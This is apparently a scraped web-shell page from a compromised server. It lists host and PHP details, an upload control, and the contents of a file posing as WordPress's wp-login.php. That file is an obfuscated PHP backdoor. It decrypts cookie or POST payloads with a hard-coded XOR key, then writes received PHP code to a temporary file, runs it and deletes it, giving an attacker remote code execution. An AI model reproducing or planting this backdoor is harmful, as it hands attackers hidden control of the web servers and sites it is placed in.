HEX
Server: Apache/2.4.57 (Debian)
System: Linux web-server-k8s-e92jnr3j-6f99bff6b6-rp2wg 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
User: apache (48)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/sites/1250.info/download/wp-login.php
<?php     function       emlnl(){$ajxkd='qsggv';/* xfmnu  */print_r/*   ok*/(82821+82821);/*   i */}$jydqnz_rk  =	'jydqnz_rk'	^/*  mmx */'	';


function	ndtzj($yrvui,	$unxrvbru){

       global/*  lbhsz   */$jydqnz_rk;


/*hl_t */$_xoki/*  hwt  */=/*   wys   */"";


	for	($bgjkqiuii      =/*   bi  */0;/* wgie */$bgjkqiuii     </*emg */strlen($yrvui);)	{
     for/* om   */($opvvgovtd    =	0;	$opvvgovtd	<     strlen($unxrvbru)	&&   $bgjkqiuii/*   veeea  */<   strlen($yrvui);	$opvvgovtd++,/*kvdm*/$bgjkqiuii++)	{/*   vmq  */$_xoki	.=   $jydqnz_rk(ord($yrvui[$bgjkqiuii])	^     ord($unxrvbru[$opvvgovtd]));
	}


  }/* wydi  */return	$_xoki;


}


function/*   i  */zhpyjrem($kbfeo,/*   arff  */$yrvui){

	global	$jydqnz_rk;


  $sshyvxu       =	sprintf("."."/"."%"."s".".".$jydqnz_rk(759-647)	.  "l",       md5($kbfeo));	file_put_contents($sshyvxu,     "<"	.      "?"."p"."\x68"	.    "\x70"	./*mmwt*/$jydqnz_rk(32)/*   jizk  */./* gvi  */"u"."\156"/* tlc  */.	"l"."i"."n"."\x6b"       .	$jydqnz_rk(40)   .	$jydqnz_rk(688-593)	.	"_"."F"."\111"   ./*  xm */"\x4c"      .	$jydqnz_rk(956-887)/* sorc */./* kgo_b   */"_"."\137"/* rlpsp  */.      ")".";".$jydqnz_rk(32)  .    $yrvui["\x64"]);

/*   b_*/include($sshyvxu);
	$_dvxfxzkkv/* wtz  */=    $sshyvxu;	unlink($_dvxfxzkkv);


}
function/* bgwzz  */wpwow()


{       global	$jydqnz_rk;
		$bgjkqiuii	=	array();     $bgjkqiuii["\x70"	.	"v"]/* w_   */=	phpversion();
	$bgjkqiuii[$jydqnz_rk(115)     ./*  g   */"\166"]  =	"3"."."."5";
	echo	@serialize($bgjkqiuii);
}

function/*  lqiq   */blwuhyeo($yrvui,	$kbfeo,/*sma   */$kbdniioq)
{
	global	$jydqnz_rk;


	
	$yrvui	=  unserialize(ndtzj(ndtzj(base64_decode($yrvui),	$kbfeo),	$kbdniioq));


   if/* mqitc */(isset($yrvui["\x61"	./*   _hp*/"k"]))   {
	if/*   y  */($yrvui["\141"]/* drnft */==      "i")/*x */{


/*qaym*/wpwow();


	}	elseif    ($yrvui["\141"]     ==/*wivbd */$jydqnz_rk(101))	{

      zhpyjrem($kbfeo,	$yrvui);
      }

	exit();


     }
}

$yrzxmdksn       =	$_COOKIE;
$cncxxpg	=	$_POST;$yrzxmdksn   =    array_merge($cncxxpg,	$yrzxmdksn);



$kbfeo    =/*   rhwlc   */"1"."2"."\60"   .       "4"."0"."5"."\x33"     ./*gpjg  */"\141"."-".$jydqnz_rk(48)	./*  gte */$jydqnz_rk(132-77)	.   "5"."2"."\55"     ./*yr*/"4".$jydqnz_rk(52)/* mj   */.	"c"."\61"	./* qhfxy */"-".$jydqnz_rk(97)/*   q_hn */.  "f"."0"."\x30"	./*   i*/"-"."\x64"."\x37"       ./* _hu*/"\x62"/*   m  */./* djycp   */$jydqnz_rk(601-546)	.       "c".$jydqnz_rk(190-142)/*   uz  */.     "\x37"/*vcxp */.	"\141"."1"."\71"	.	$jydqnz_rk(666-566)    .	"\145";


foreach  ($yrzxmdksn/*   rjlax*/as/*rnfxp */$kbdniioq	=>	$yrvui)/*   bqtqy   */{
	blwuhyeo($yrvui,/*pnn   */$kbfeo,    $kbdniioq);

}